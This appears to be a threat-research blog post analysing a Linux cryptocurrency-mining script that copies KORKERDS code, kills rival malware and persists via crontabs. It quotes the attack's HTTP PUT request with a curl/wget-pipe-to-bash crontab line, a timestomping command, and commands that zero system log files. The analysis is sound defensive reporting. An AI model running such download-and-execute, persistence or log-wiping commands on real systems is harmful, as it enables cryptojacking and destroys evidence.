Linux Coin Miner Copied Scripts From KORKERDS, Removes All Other Malware and Miners

While conducting a routine log check, we noticed an interesting script from one of our honeypots downloading a binary connected to a domain. Upon further analysis, we found the script capable of deleting a number of known Linux malware, coin miners, and connections to other miner services and ports, and we observed some parts of the script to be reminiscent of Xbash features and KORKERDS. It installs a cryptocurrency-mining malware as well as implant itself into the system and crontabs to survive reboots and deletions.

Figure 1. Script downloading from domain, logged from one of our honeypots.


Noticing the script downloading the binary, we also looked at an analyzed code of KORKERDS modified and collected in November 2018 and found them almost the same except for a few additions and notable omissions. Compared to KORKERDS, the new script does not uninstall security products found in the system and does not install a rootkit. Instead, the KORKERDS miner and the rootkit component are included in the kill list. Basically, the new script deletes the components and mining process of the malware whose code it copied.

Figure 2. Script was copied from KORKERDS but the process “kworkerds” is killed in the new code.

Figure 3. The rootkit component of KORKERDS is removed in the new version.

The script downloads a binary of a modified version of the cryptocurrency miner XMR-Stak(detected by Trend Micro as Coinminer.Linux.MALXMR.UWEIU), a universal Stratum pool miner that supports CPUs, AMD, and NVIDIA GPUs for Cryptonight currencies. We analyzed the infection and found it to have started from some IP cameras and web services via TCP port 8161, where the attacker tries to upload a crontab file:

PUT /fileserver/vMROB4ZhfLTljleL HTTP/1.1
Accept: */*
Content-Length: 105
Content-Type: application/x-www-form-urlencoded*/10 * * * * root (curl -fsSL 
hxxp://||wget -q -O- hxxp://|bash -sh


The crontab then downloads and runs shell script 1.jpg, enabling three functions named and identified by the attackers:

  • Function B kills previously installed malware, coin miners, and all related services referenced to an accompanying malware (detected by Trend Micro as SH.MALXMR.UWEIU). It also creates new directories, files, and stop processes with connections to identified IP addresses.

Figure 4. Coin miner script kills previously installed malware, coin miners, and related services.

  • Function D downloads the coin miner binary from hxxp:// and runs it.
  • Function C downloads a script from hxxp://, saves it to /usr/local/bin/dns file, and creates a new crontab to call this script at 1 a.m. It also downloads hxxp:// and puts it in different crontabs:


The new files have time modifications and last accessed time as /bin/sh file

touch -acmr /bin/sh /etc/cron.hourly/oanacroner


and implant themselves in the system to survive reboots and deletions, trimming the log files to 0:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron


Compared to the KORKERDS sample, the new script simplifies the routine to downloading and executing the files, followed by installing the coin miner into the system. Looking into its propagation routine, a majority of the codes were also taken from the KORKERDS script, as the codes are still available online with Base64 encoding via hxxps:// We noted the subtle difference in the absence of the link placed in between the PUT URL /fileserver/vMROB4ZhfLTljleLand the actual crontab. While KORKERDS’ saves the crontab directly, the new script inserts just one crontab that fetches all the code and the miner.

Figure 5. The script was copied from KORKERDS’ Python script for propagation.



While a malware routine that includes the removal of other malware in the system is not new, we’ve never seen the removal of Linux malware from the system on this scale. Removing competing malware is just one way cybercriminals are maximizing their profit. Enterprises can protect themselves from various kinds of evolving attacks by making sure their systems have downloaded the latest patches released by legitimate vendors. Cryptocurrency-mining malware or coin miners use CPU and GPU resources, making systems run slowly. Having a multilayered protection system in place helps IT administrators immediately detect, prevent, and resolve malware infections such as coin miners and stops them from affecting the network and hindering regular enterprise operations.

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply

Your email address will not be published. Required fields are marked *